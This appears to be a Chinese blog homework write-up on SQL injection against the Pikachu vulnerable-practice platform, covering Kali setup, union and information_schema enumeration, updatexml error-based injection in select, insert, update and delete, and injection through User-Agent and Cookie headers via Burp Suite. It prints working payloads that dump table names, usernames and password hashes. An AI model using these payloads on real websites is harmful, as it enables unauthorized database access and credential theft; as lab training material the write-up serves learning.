第四周作业1.虚拟机中安装Kail 2.union注入 3.information_schema注入 4.sql-Inject漏洞手动测试-基于函数报错的信息获取 5.Http Header注入

一、虚拟机中安装Kail

VMware 14 链接: https://pan.baidu.com/s/1cxwWZ91oAxyFdCqJIS3UNQ 提取码:
6vnd
Kail镜像文件种子 链接: https://pan.baidu.com/s/1BDa2fiJytF763LoJ0CMDgg 提取码: uara

下载完成后,自行百度查找安装方式。安装完成后输入sqlmap -h查看sqlmap的相关相关参数在这里插入图片描述

二、union注入

union操作符用于合并两个或多个SQL语句集合起来,得到联合的查询结果。以pikachu平台的数据库为例,输入select id,email from member where username='kevin' union select username,pw from member where id=1;查看查询结果。

在这里插入图片描述
但是联合多个SQL语句时可能出现报错,因为查询的字段不能超过主查询的字段,这个时候可以在SQL语句后面加order by 进行排序,通过这个办法可以判断主查询的字段。返回pikachu平台,在SQL注入下随意打开搜索型栏目,输入我们构造的order by语句进行测试。

输入a' order by 4#%,反馈如图:

在这里插入图片描述
输入a' order by 3#%,反馈如图:
在这里插入图片描述

通过这个简单的办法找到主查询一共有三个字段。之后我们来使用union来做一个SQL语句的拼接。输入构造好的语句k' union select database(),user(),version()#%,反馈如图:在这里插入图片描述

三、information_schema注入

information_schema数据库是MySQL系统自带的数据库。其中保存着关于MySQL服务器所维护的所有其他数据库的信息。通过information_schema注入,我们可以将整个数据库内容全部窃取出来。接下来是对information_schema注入的演示。
首先同之前的步骤,使用order by来判断查询的字段。先找出数据库的名称,输入vince' union select database(),user(),4#%得到反馈,判断数据库名称为pikachu。

在这里插入图片描述
为了获取pikachu数据库的表名,输入:u' union select table_schema ,table_name,2 from information_schema.tables where table_schema='pikachu'#
在这里插入图片描述
为了获取pikachu数据库的字段名,输入:kobe'union select table_name,column_name,2 from information_schema.columns where table_name='users'#%
在这里插入图片描述
最后获取数据库的内容,输入:kobe'union select username ,password,4 from users#%

在这里插入图片描述
取得密码后到MD5上去解密,获得:在这里插入图片描述

四、sql-Inject漏洞手动测试-基于函数报错的信息获取

1.技巧思路:
在MYSQL中使用一些指定的函数来制造报错,从而从报错信息中获取设定的信息.
select/insert/update/delete都可以使用报错来获取信息.

2.背景条件:
后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端.

3.基于报错的信息获取-三个常用的用来报错的函数
updatexml():函数是MYSQL对XML文档数据进行查询和修改的XPATH函数.
extractvalue() :函数也是MYSQL对XML文档数据进行查询的XPATH函数.
floor():MYSQL中用来取整的函数.

4.基于报错的信息获取-三个常用的用来报错的函数-updatexml0
Updatexml()函数作用:改变(查找并替换)XML文档中符合条件的节点的值.

语法:UPDATEXML(xml_document,XPathstring,new_value)

第一个参数:fiedname是String格式,为表中的字段名.
第二个参数:XPathstring(Xpath格式的字符串).
第三个参数:new_value,String格式,替换查找到的符合条件的 X

path定位必须是有效的,否则则会发生错误。

1.select下的报错演示
获取数据库表名,输入:kobe'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu')),0)#,但是反馈回的错误表示只能显示一行,所以采用limit来一行一行显示
在这里插入图片描述
输入kobe' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu'limit 0,1)),0)#更改limit后面的数字pikachu'limit 0,与之前的思路相同,我们一直像下暴露数据库。最后得到加密的密码。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

2.insert注入
insert注入,就是前端注册的信息最终会被后台通过insert这个操作插入数据库,后台在接受前端的注册数据时没有做防SQL注入的处理,导致前端的输入可以直接拼接SQL到后端的insert相关内容中,导致了insert注入。
对insert注入的演示:
在前端输入‘’‘’‘’,来查看后端反馈的观察,通过观察报错了解到提交的内容在后台参与了拼接。
在这里插入图片描述
到数据库中输入insert into member (username,pw,sex,phonenum,email,address)values('liyingge',111111,1,2,3,4);来插入一个用户,在输入select * from member;查看所有用户

在这里插入图片描述
和之前select方法相同,通过information_schema注入一步步暴露数据库内容,并破获加密后的密码

3.update注入

与insert注入的方法大体相同,区别在于update用于用户登陆端,insert用于用于用户注册端。

4.delete注入
在delete注入模块中删除留言,并在Brup Suite中抓包,将Get请求发送到Repeater模块下。在这里插入图片描述
将设置的payload: 1 or updatexml(1,concat(Ox7e,database()),0) 并通过Burp Suite中自带的URL转换编码来转换替换ID并开始在后台运行

在这里插入图片描述

在这里插入图片描述
之后的步骤和之前相同,通过对payload的设置来完成对数据库的暴露

五、Http Header注入
先在pikachu平台打开Http Header注入模块,点击提示,登陆后去BurpSuite中找到登陆地GET请求,把请求发送到Repeater模块中,去除User-Agent:,然后输入' 然后运行后观察MYSQL语法报错然后发现存在SQL注入漏洞。这时候可以设置payload。在User-Agent输入payload firefox' or updatexml(1,concat(0x7e,database ()),0) or '

在这里插入图片描述从返回的报错得知这是一个SQL注入点,那暴露数据库的方法和之前相同。
还有一个点时Cookie,Cookie是网站为了识别用户身份来跟踪会话的,虽然Cookie是由后端生成的,但每次页面跳转,后端都回对前端的Cookie的信息进行验证,但如果后端获取Cookie后放在数据库中进行拼接,那么这也将是一个SQL注入点。在 ant[uname]=admin后添加一个观察反馈的MYSQL的语法报错,发现了存在SQL注入漏洞,在设置Payload 'and updatexml (1,concat(0x7e,database()),0)#,观察报错和之前相同,也可以使用之前的办法来暴露数据库。
在这里插入图片描述

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值